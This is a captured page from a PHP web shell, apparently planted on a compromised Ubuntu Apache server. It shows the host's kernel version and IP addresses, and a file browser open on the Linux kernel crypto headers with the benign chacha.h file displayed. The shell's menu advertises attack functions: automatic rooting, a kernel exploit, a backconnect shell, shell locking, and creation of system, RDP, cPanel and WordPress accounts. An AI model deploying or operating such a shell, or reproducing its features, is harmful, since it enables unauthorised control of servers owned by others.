Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.63.182
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-198 /
include /
crypto /
[ HOME SHELL ]
Name
Size
Permission
Action
internal
[ DIR ]
drwxr-xr-x
acompress.h
8.01
KB
-rw-r--r--
aead.h
17.58
KB
-rw-r--r--
aes.h
2.5
KB
-rw-r--r--
akcipher.h
12.91
KB
-rw-r--r--
algapi.h
11.12
KB
-rw-r--r--
arc4.h
484
B
-rw-r--r--
asym_tpm_subtype.h
521
B
-rw-r--r--
authenc.h
635
B
-rw-r--r--
b128ops.h
2.41
KB
-rw-r--r--
blake2s.h
2.37
KB
-rw-r--r--
blowfish.h
415
B
-rw-r--r--
cast5.h
590
B
-rw-r--r--
cast6.h
624
B
-rw-r--r--
cast_common.h
232
B
-rw-r--r--
cbc.h
3.29
KB
-rw-r--r--
chacha.h
2.08
KB
-rw-r--r--
cryptd.h
2
KB
-rw-r--r--
ctr.h
1.42
KB
-rw-r--r--
des.h
1.68
KB
-rw-r--r--
dh.h
2.51
KB
-rw-r--r--
drbg.h
8.99
KB
-rw-r--r--
ecdh.h
2.46
KB
-rw-r--r--
engine.h
3.9
KB
-rw-r--r--
gcm.h
867
B
-rw-r--r--
gf128mul.h
9.41
KB
-rw-r--r--
ghash.h
388
B
-rw-r--r--
hash.h
32.09
KB
-rw-r--r--
hash_info.h
972
B
-rw-r--r--
hmac.h
173
B
-rw-r--r--
if_alg.h
6.59
KB
-rw-r--r--
kpp.h
9.9
KB
-rw-r--r--
md5.h
497
B
-rw-r--r--
nhpoly1305.h
2.17
KB
-rw-r--r--
null.h
346
B
-rw-r--r--
padlock.h
438
B
-rw-r--r--
pcrypt.h
815
B
-rw-r--r--
pkcs7.h
1.15
KB
-rw-r--r--
poly1305.h
1.72
KB
-rw-r--r--
public_key.h
2.34
KB
-rw-r--r--
rng.h
6.59
KB
-rw-r--r--
scatterwalk.h
3.14
KB
-rw-r--r--
serpent.h
696
B
-rw-r--r--
sha.h
4.32
KB
-rw-r--r--
sha1_base.h
2.42
KB
-rw-r--r--
sha256_base.h
2.52
KB
-rw-r--r--
sha3.h
879
B
-rw-r--r--
sha512_base.h
3.15
KB
-rw-r--r--
skcipher.h
20.98
KB
-rw-r--r--
sm3.h
833
B
-rw-r--r--
sm3_base.h
2.51
KB
-rw-r--r--
sm4.h
754
B
-rw-r--r--
streebog.h
949
B
-rw-r--r--
twofish.h
755
B
-rw-r--r--
xts.h
1.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : chacha.h
/* SPDX-License-Identifier: GPL-2.0 */ /* * Common values and helper functions for the ChaCha and XChaCha stream ciphers. * * XChaCha extends ChaCha's nonce to 192 bits, while provably retaining ChaCha's * security. Here they share the same key size, tfm context, and setkey * function; only their IV size and encrypt/decrypt function differ. * * The ChaCha paper specifies 20, 12, and 8-round variants. In general, it is * recommended to use the 20-round variant ChaCha20. However, the other * variants can be needed in some performance-sensitive scenarios. The generic * ChaCha code currently allows only the 20 and 12-round variants. */ #ifndef _CRYPTO_CHACHA_H #define _CRYPTO_CHACHA_H #include <crypto/skcipher.h> #include <linux/types.h> #include <linux/crypto.h> /* 32-bit stream position, then 96-bit nonce (RFC7539 convention) */ #define CHACHA_IV_SIZE 16 #define CHACHA_KEY_SIZE 32 #define CHACHA_BLOCK_SIZE 64 #define CHACHAPOLY_IV_SIZE 12 /* 192-bit nonce, then 64-bit stream position */ #define XCHACHA_IV_SIZE 32 struct chacha_ctx { u32 key[8]; int nrounds; }; void chacha_block(u32 *state, u8 *stream, int nrounds); static inline void chacha20_block(u32 *state, u8 *stream) { chacha_block(state, stream, 20); } void hchacha_block(const u32 *in, u32 *out, int nrounds); void crypto_chacha_init(u32 *state, const struct chacha_ctx *ctx, const u8 *iv); int crypto_chacha20_setkey(struct crypto_skcipher *tfm, const u8 *key, unsigned int keysize); int crypto_chacha12_setkey(struct crypto_skcipher *tfm, const u8 *key, unsigned int keysize); int crypto_chacha_crypt(struct skcipher_request *req); int crypto_xchacha_crypt(struct skcipher_request *req); enum chacha_constants { /* expand 32-byte k */ CHACHA_CONSTANT_EXPA = 0x61707865U, CHACHA_CONSTANT_ND_3 = 0x3320646eU, CHACHA_CONSTANT_2_BY = 0x79622d32U, CHACHA_CONSTANT_TE_K = 0x6b206574U }; static inline void chacha_init_consts(u32 *state) { state[0] = CHACHA_CONSTANT_EXPA; state[1] = CHACHA_CONSTANT_ND_3; state[2] = CHACHA_CONSTANT_2_BY; state[3] = CHACHA_CONSTANT_TE_K; } #endif /* _CRYPTO_CHACHA_H */
Close